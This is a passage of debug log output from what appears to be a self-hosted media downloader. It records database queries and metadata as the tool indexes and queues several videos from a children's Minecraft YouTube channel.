But If I Take Damage I Switch Lives/Minecraft, But If I Take Damage I Switch Lives [Kcn_4kdmM_0].mp4", false, ~U[2026-05-15 23:00:20Z]] 19:40:20.229 [debug] QUERY OK source="sources" db=0.2ms idle=54.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:20.229 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:20.230 [debug] QUERY OK source="media_items" db=0.2ms idle=5.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137161] 19:40:20.230 [debug] Current batch of media processed. Will check again in 1000ms 19:40:21.231 [debug] Current batch of media processed. Will check again in 1000ms 19:40:22.232 [debug] Current batch of media processed. Will check again in 1000ms 19:40:23.233 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The IMPOSSIBLE Choice: Who Will We Save?! 😭 🆘 We only have enough time to rescue one parent from the secret trap—will it be Mom or Dad?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1573, "filename" => "/downloads/rory/Milo and Chip/2026-05-13 Save MOM or DAD in Minecraft?/Save MOM or DAD in Minecraft? [Oi7QKYHRi7U].mp4", "id" => "Oi7QKYHRi7U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Oi7QKYHRi7U", "playlist_index" => 10, "timestamp" => 1778713220, "title" => "Save MOM or DAD in Minecraft?", "upload_date" => "20260513"} 19:40:23.234 [debug] QUERY OK source="sources" db=0.2ms idle=1955.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:23.234 [debug] QUERY OK source="sources" db=0.1ms idle=1955.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:23.235 [debug] QUERY OK source="media_items" db=1.0ms idle=1956.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 23:00:20Z], 30] 19:40:23.236 [debug] QUERY OK source="media_items" db=0.6ms idle=1058.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The IMPOSSIBLE Choice: Who Will We Save?! 😭 🆘 We only have enough time to rescue one parent from the secret trap—will it be Mom or Dad?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Save MOM or DAD in Minecraft?", "1bc4d7c0-a906-4010-afd6-f4786f8d3855", "Oi7QKYHRi7U", false, "https://www.youtube.com/watch?v=Oi7QKYHRi7U", 30, [], 1573, false, 10, "/downloads/rory/Milo and Chip/2026-05-13 Save MOM or DAD in Minecraft?/Save MOM or DAD in Minecraft? [Oi7QKYHRi7U].mp4", false, false, 98, ~U[2026-05-13 23:00:20Z], ~U[2026-06-02 23:40:23Z], ~U[2026-06-02 23:40:23Z], "The IMPOSSIBLE Choice: Who Will We Save?! 😭 🆘 We only have enough time to rescue one parent from the secret trap—will it be Mom or Dad?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Save MOM or DAD in Minecraft?", "Oi7QKYHRi7U", "https://www.youtube.com/watch?v=Oi7QKYHRi7U", 30, 1573, false, "/downloads/rory/Milo and Chip/2026-05-13 Save MOM or DAD in Minecraft?/Save MOM or DAD in Minecraft? [Oi7QKYHRi7U].mp4", false, ~U[2026-05-13 23:00:20Z]] 19:40:23.237 [debug] QUERY OK source="sources" db=0.2ms idle=58.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:23.237 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:23.238 [debug] QUERY OK source="media_items" db=0.3ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [136621] 19:40:23.238 [debug] Current batch of media processed. Will check again in 1000ms 19:40:24.238 [debug] Current batch of media processed. Will check again in 1000ms 19:40:25.239 [debug] Current batch of media processed. Will check again in 1000ms 19:40:25.468 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:26.241 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Building the ULTIMATE Bluey Family Home! 🐶 🏠 Can we recreate the iconic Heeler house with all the secret rooms and colorful details?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1989, "filename" => "/downloads/rory/Milo and Chip/2026-05-11 How to Build a BLUEY House in Minecraft/How to Build a BLUEY House in Minecraft [i3Vc0zkPdTg].mp4", "id" => "i3Vc0zkPdTg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=i3Vc0zkPdTg", "playlist_index" => 11, "timestamp" => 1778540446, "title" => "How to Build a BLUEY House in Minecraft", "upload_date" => "20260511"} 19:40:26.242 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=1963.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:26.244 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1964.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:26.247 [debug] QUERY OK source="media_items" db=2.6ms queue=0.2ms idle=1064.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-11 23:00:46Z], 30] 19:40:26.248 [debug] QUERY OK source="media_items" db=0.7ms idle=779.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Building the ULTIMATE Bluey Family Home! 🐶 🏠 Can we recreate the iconic Heeler house with all the secret rooms and colorful details?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a BLUEY House in Minecraft", "07a4341a-f16b-49d9-b989-555e0b47f87d", "i3Vc0zkPdTg", false, "https://www.youtube.com/watch?v=i3Vc0zkPdTg", 30, [], 1989, false, 11, "/downloads/rory/Milo and Chip/2026-05-11 How to Build a BLUEY House in Minecraft/How to Build a BLUEY House in Minecraft [i3Vc0zkPdTg].mp4", false, false, 98, ~U[2026-05-11 23:00:46Z], ~U[2026-06-02 23:40:26Z], ~U[2026-06-02 23:40:26Z], "Building the ULTIMATE Bluey Family Home! 🐶 🏠 Can we recreate the iconic Heeler house with all the secret rooms and colorful details?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a BLUEY House in Minecraft", "i3Vc0zkPdTg", "https://www.youtube.com/watch?v=i3Vc0zkPdTg", 30, 1989, false, "/downloads/rory/Milo and Chip/2026-05-11 How to Build a BLUEY House in Minecraft/How to Build a BLUEY House in Minecraft [i3Vc0zkPdTg].mp4", false, ~U[2026-05-11 23:00:46Z]] 19:40:26.249 [debug] QUERY OK source="sources" db=0.3ms idle=66.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:26.249 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:26.250 [debug] QUERY OK source="media_items" db=0.3ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [136083] 19:40:26.250 [debug] Current batch of media processed. Will check again in 1000ms 19:40:27.251 [debug] Current batch of media processed. Will check again in 1000ms 19:40:28.252 [debug] Current batch of media processed. Will check again in 1000ms 19:40:29.254 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I Caught My Friend LYING on a Lie Detector! 🛑 🤥 Can we uncover the truth about his hidden vault, or will his secrets stay buried forever?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1695, "filename" => "/downloads/rory/Milo and Chip/2026-05-09 Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft/Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft [loEX2S2LGQI].mp4", "id" => "loEX2S2LGQI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=loEX2S2LGQI", "playlist_index" => 12, "timestamp" => 1778367657, "title" => "Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft", "upload_date" => "20260509"} 19:40:29.255 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1976.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:29.256 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1977.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:29.259 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=1978.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-09 23:00:57Z], 30] 19:40:29.260 [debug] QUERY OK source="media_items" db=0.9ms idle=1074.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Caught My Friend LYING on a Lie Detector! 🛑 🤥 Can we uncover the truth about his hidden vault, or will his secrets stay buried forever?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft", "41156f34-ed03-4aea-b913-6369891f68cc", "loEX2S2LGQI", false, "https://www.youtube.com/watch?v=loEX2S2LGQI", 30, [], 1695, false, 12, "/downloads/rory/Milo and Chip/2026-05-09 Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft/Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft [loEX2S2LGQI].mp4", false, false, 98, ~U[2026-05-09 23:00:57Z], ~U[2026-06-02 23:40:29Z], ~U[2026-06-02 23:40:29Z], "I Caught My Friend LYING on a Lie Detector! 🛑 🤥 Can we uncover the truth about his hidden vault, or will his secrets stay buried forever?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft", "loEX2S2LGQI", "https://www.youtube.com/watch?v=loEX2S2LGQI", 30, 1695, false, "/downloads/rory/Milo and Chip/2026-05-09 Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft/Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft [loEX2S2LGQI].mp4", false, ~U[2026-05-09 23:00:57Z]] 19:40:29.261 [debug] QUERY OK source="sources" db=0.3ms idle=73.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:40:29.261 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:40:29.262 [debug] QUERY OK source="media_items" db=0.2ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [135544] 19:40:29.262 [debug] Current batch of media processed. Will check again in 1000ms 19:40:30.262 [debug] Current batch of media processed. Will check again in 1000ms 19:40:31.263 [debug] Current batch of media processed. Will check again in 1000ms 19:40:32.264 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I Built the ULTIMATE Secret Birthday Party! 🎂 🎁 Can we pull off the biggest surprise ever without Milo finding his hidden gifts too early?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1543, "filename" => "/downloads/rory/Milo and Chip/2026-05-08 Surprising Milo with DREAM Birthday in Minecraft/Surprising Milo with DREAM Birthday in Minecraft [2K_f7PL9mbs].mp4", "id" => "2K_f7PL9mbs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2K_f7PL9mbs", "playlist_index" => 13, "timestamp" => 1778281202, "title" => "Surprising Milo with DREAM Birthday in Minecraft", "upload_date" => "20260508"} 19:40:32.264 [debug] QUERY OK source="sources" db=0.1ms idle=1986.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:40:32.265 [debug] QUERY OK source="sources" db=0.2ms idle=1986.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 